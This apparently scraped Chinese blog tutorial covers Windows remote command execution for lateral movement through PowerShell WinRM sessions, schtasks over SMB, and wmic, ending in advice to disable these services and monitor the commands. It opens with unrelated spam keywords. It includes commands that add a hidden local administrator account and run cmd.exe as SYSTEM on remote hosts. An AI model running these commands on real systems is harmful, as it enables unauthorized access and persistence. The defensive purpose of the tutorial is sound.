网站建设公司排,利用access数据库做网站,东莞最新新闻,好大夫在线网站官网做提眉的医生Windows远程执行
前言
1、在办公环境中#xff0c;利用系统本身的远程服务进行远程代码执行甚至内网穿透横向移动的安全事件是非常可怕的#xff0c;因此系统本身的一些远程服务在没有必要的情况下建议关闭#xff0c;防止意外发生#xff1b; 2、作为安全人员#xff0…Windows远程执行
前言
1、在办公环境中利用系统本身的远程服务进行远程代码执行甚至内网穿透横向移动的安全事件是非常可怕的因此系统本身的一些远程服务在没有必要的情况下建议关闭防止意外发生 2、作为安全人员了解远程执行的方法或者原理对于防范或者事件监控也都是很有必要的
以下只是一些简单的示例如有不对的地方请大家指正我会立马修改
一、利用powershell 远程执行
1、通过winrm服务进行远程操作
Get-Service WinRM ##查看winrm状态
Enable-PSREmoting -Force ##启用配置系统接收远程命令防火墙规则也会多出监听端口 如果计算机已经加入了域直接可以发起连接若没有需要先做一步信任设置然后重启winrm服务 A连接B 需要在A上面设置信任B
set-item wsman:\localhost\client\trustedhosts B主机ip ##信任设置
Restart-Service WinRM ##重启winrm服务
get-item wsman:\localhost\client\trustedhosts ##查看信任ip
clean-item wsman:\localhost\client\trustedhosts ##去掉信任ip测试远程连接 powerShell 还提供了一个命令用来测试远程主机是否开启了远程操作服务
test-wsman 主机IP地址 创建远程连接 Session
enter-pssession -computername 主机IP -credential 主机用户名 已连接 且B主机无感知 可执行命令
Exit-PSSession 退出连接2、自动化脚本
命令被执行了但缺陷也很明显需要用户输入密码因此无法被写到脚本中进行自动化操作 使用如下办法就可以实现脚本自动化
$Username xxxx
$Password yyyy
$pass ConvertTo-SecureString -AsPlainText $Password -Force
$Cred New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass
Invoke-Command -ComputerName cd-lsr-svr -ScriptBlock { Get-Service WinRM } -credential $Cred3、远程执行多个命令
有时候我们需要连续执行多个有关联的命令比如后一条命令会用到前一条命令的结果。此时再使用上面的方法就不行了。需要通过 session 来处理命令之间的联系
Invoke-Command -ComputerName myserver -ScriptBlock {$p Get-Process PowerShell}
Invoke-Command -ComputerName myserver -ScriptBlock {$p.VirtualMemorySize}
$s New-PSSession -ComputerName myserver
Invoke-Command -Session $s -ScriptBlock {$p Get-Process PowerShell}
Invoke-Command -Session $s -ScriptBlock {$p.VirtualMemorySize}当我们直接执行前两个命令时由于第二个命令中的 $p 没有值所以不能获得结果。最后两行的命令是通过同一个 session 执行的所以它们可以共享变量并最终获得结果
4、远程拷贝文件
$mySession new-PSSession -ComputerName xxxxxx
Copy-Item -Path .\task.ps1 -Destination C:\task.ps1 -ToSession $mySession上面的命令把本地当前目录下的 task.ps1 文件拷贝到远程主机 xxxxxx 的 C 盘根目录下。注意 Copy-Item 命令使用了一个 Session 对象作为参数这个参数的名称为 ToSession。其实文件传递的方向就是由这个参数决定的使用 ToSession 会把本地的文件传递到远程主机使用 FromSession 则会把远程主机上的文件传递到本机
$mySession new-PSSession -ComputerName xxxxxx
Copy-Item -Path .\PowerShell -Destination C:\PowerShell -ToSession $mySession -Recurse注意目录拷贝操作要加上 Recurse 参数
上面的两个操作分别是把一个文件和一个目录拷贝到远程的主机上接下来我们要把远程主机上的文件或文件夹拷贝到本机来
$mySession new-PSSession -ComputerName xxxxxx
Copy-Item -Path C:\task.ps1 -Destination F:\temp\task.ps1 -FromSession $mySession
Copy-Item -Path C:\PowerShell -Destination F:\temp -FromSession $mySession -Recurse注语言模式会影响powershell文件远程拷贝命令执行需要将目的机器改为FullLanguage模式
$ExecutionContext.SessionState.LanguageMode FullLanguage$mySession new-PSSession -ComputerName xxxxxx
Copy-Item -Path .\task.ps1 -Destination C:\task.ps1 -ToSession $mySession ##拷贝本地文件到目的机器
Copy-Item -Path .\PowerShell -Destination C:\PowerShell -ToSession $mySession -Recurse ##拷贝本地目录到目的机器
Copy-Item -Path C:\task.ps1 -Destination F:\temp\task.ps1 -FromSession $mySession ##拷贝目的机器文件到本地
Copy-Item -Path C:\PowerShell -Destination F:\temp -FromSession $mySession -Recurse ##拷贝目的机器目录到本地二、利用schtasks 远程执行
1、传输文件到目标服务器
首先确保受控端开启smb服务(445端口开放) 建立IPC连接 2、创建计划任务运行后删除
SCHTASKS /Create /S 192.168.17.130 /U Administrator /P ###### /SC ONCE /ST 11:00 /TN test1 /TR c:\cmd.exe /RU system因为防火墙规则并没有开通 文件和打印机共享的rpc-epamp规则 只开了139445端口 rpc-epmap程序服务用于RPCSS服务的入站规则以允许后台打印程序服务的RPC/TCP通信 启用规则之后 便可以远程创建定时 查看是否执行成功 此计划任务是建立一个用户 删除计划任务
三、利用wmic 远程执行
需要远程系统启动 Windows Management Instrumentation 服务开放135端口远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证wmic 会以管理员权限在远程系统上执行命令防火墙开启将无法连接如果报错 “Invalid Global Switch” 用双引号把包含-的结点括起来即可正常执行。
C:\Users\Administratorwmic /node:192.168.17.131 /user:administrator /password:****** process call create cmd.exe /c net user test1 westos /add net localgroup administrators test1 /add
执行(Win32_Process)-Create()
方法执行成功。
外参数:
instance of __PARAMETERS
{ReturnValue 9;
};C:\Users\Administratorwmic /node:192.168.17.131 /user:administrator /password:****** process call create c:\cmd.exe
执行(Win32_Process)-Create()
方法执行成功。
外参数:
instance of __PARAMETERS
{ProcessId 8488;ReturnValue 0;
};C:\Users\Administratorwmic /node:192.168.17.131 /user:administrator /password:****** process call create cmd.exe /c net user test1 westos /add
执行(Win32_Process)-Create()
方法执行成功。
外参数:
instance of __PARAMETERS
{ProcessId 8632;ReturnValue 0;
};返回值为0代表执行成功
总结
1、对于powershell的远程执行建议用户没有必要的情况下关闭winrm服务安全人员可检测监控此服务进程是否开启监控 enter-pssessionInvoke-Commandnew-PSSessionCopy-Item等命令执行 2、对于schtasks的远程执行建议用户没有必要的情况下关闭smb服务安全人员可检测监控此服务端口是否开启监控 net.exenet1.exeSCHTASKS等命令执行 3、对于wmic的远程执行建议用户用户没有必要的情况下关闭Windows Management Instrumentation 服务(135端口)安全人员可检测监控此服务端口是否开启监控wmic等命令执行